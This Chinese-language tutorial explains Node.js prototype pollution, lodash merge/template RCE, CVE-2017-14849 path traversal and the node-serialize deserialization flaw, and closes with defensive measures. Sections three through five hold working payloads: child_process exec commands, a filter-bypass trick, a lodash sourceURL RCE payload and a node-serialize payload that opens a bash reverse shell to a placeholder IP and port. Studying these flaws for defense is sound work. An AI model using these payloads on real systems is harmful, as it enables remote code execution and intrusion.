Node.js些许漏洞
字数 1304 2025-08-24 07:48:09
Node.js 原型污染漏洞深度解析与防御指南
一、JavaScript 原型链基础
1.1 原型链概念
JavaScript 采用基于原型的继承机制,每个对象都有一个私有属性 __proto__ 指向其构造函数的原型对象 (prototype)。这个原型对象也有自己的原型对象,层层向上直到 null。
关键点:
Object.prototype是原型链的顶端Object.prototype.__proto__为null- 几乎所有 JavaScript 对象都是
Object.prototype的实例
1.2 __proto__ 与 prototype 区别
function Son() {}
var son = new Son();
console.log(Son.prototype); // 访问构造函数的原型
console.log(son.__proto__); // 访问实例对象的原型
console.log(Son.prototype == son.__proto__); // true
区别:
__proto__:每个对象都有的属性,指向该对象的原型prototype:仅函数对象特有的属性,指向该函数的原型
二、原型链污染原理
2.1 基本污染原理
通过控制对象属性的赋值操作,可以污染原型链:
object1 = {"a": 1, "b": 2};
object1.__proto__.foo = "Hello World"; // 污染原型
console.log(object1.foo); // "Hello World"
object2 = {"c": 1, "d": 2};
console.log(object2.foo); // "Hello World" (被污染)
2.2 继承中的污染
function Father() {
this.first_name = 'Donald';
this.last_name = 'Trump';
}
function Son() {
this.first_name = 'Melania';
}
Son.prototype = new Father();
let son = new Son();
son.__proto__['last_name'] = 'xxh'; // 污染原型
let newson = new Son();
console.log(`Name: ${newson.first_name} ${newson.last_name}`); // "Melania xxh"
三、危险操作与漏洞利用
3.1 不安全的合并函数
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
let o1 = {};
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(o1, o2);
console.log(o1.a, o1.b); // 1, 2
o3 = {};
console.log(o3.b); // 2 (原型被污染)
3.2 危险模块和函数
危险模块:
child_process
危险函数:
evalspawnexecsetTimeoutsetIntervalFunction
Payload示例:
require('child_process').exec('ls');
require('child_process').execSync('ls').toString();
global.process.mainModule.constructor._load('child_process').execSync('ls');
3.3 绕过过滤技巧
当敏感字符被过滤时:
// 原始
require('child_process').execSync('ls').toString()
// 绕过
require('child_process')['exe' + 'cSync']('ls').toString()
四、Lodash 模块相关漏洞
4.1 Lodash.merge 原型污染
Lodash 的 merge 方法递归合并对象属性时可能造成原型污染:
const _ = require('lodash');
let malicious = JSON.parse('{"__proto__": {"polluted": true}}');
let obj = {};
_.merge({}, malicious);
console.log(obj.polluted); // true
4.2 配合 Lodash.template 实现 RCE
利用 sourceURL 属性实现代码执行:
// 污染 sourceURL 实现 RCE
{"__proto__": {"sourceURL": "\nreturn e; global.process.mainModule.require('child_process').execSync('whoami')"}}
五、其他重要 Node.js 漏洞
5.1 CVE-2017-14849 (Express 路径遍历)
影响版本:
- Node.js 8.5.0 + Express 3.19.0-3.21.2
- Node.js 8.5.0 + Express 4.11.0-4.15.5
原理:
Express 依赖的 Send 组件在标准化路径时存在缺陷,可通过构造特殊路径实现目录遍历。
5.2 CVE-2017-5941 (反序列化漏洞)
原理:
serialize-javascript 包在反序列化时可能执行恶意代码。
Payload 构造:
const serialize = require('node-serialize');
var test = {
rce: function() {
require('child_process').exec('ls /');
}
};
console.log(serialize.serialize(test));
// 输出: {"rce":"_
$$
ND_FUNC
$$
_function(){require('child_process').exec('ls /');}"}
// 反序列化时立即执行
{"rce":"_
$$
ND_FUNC
$$
_function(){require('child_process').exec('bash -i >& /dev/tcp/IP/PORT 0>&1')}()"}
六、防御措施
-
避免使用不安全的合并函数:
- 使用
Object.assign替代深度合并 - 使用安全的库如
lodash.mergeWith并配置自定义合并策略
- 使用
-
原型污染防护:
// 冻结 Object.prototype Object.freeze(Object.prototype); // 检查 __proto__ 属性 if (key === '__proto__') { throw new Error('Prototype pollution attempt detected'); } -
输入验证与过滤:
- 严格验证用户输入的 JSON 数据
- 使用
JSON.parse替代eval
-
依赖管理:
- 及时更新有漏洞的依赖包
- 使用
npm audit检查已知漏洞
-
最小权限原则:
- 以非特权用户运行 Node.js 进程
- 限制文件系统访问权限
-
反序列化安全:
- 避免使用不安全的反序列化方法
- 使用 JSON Schema 验证反序列化数据
通过理解这些漏洞原理和防御措施,开发者可以更安全地构建 Node.js 应用程序,避免原型污染等安全风险。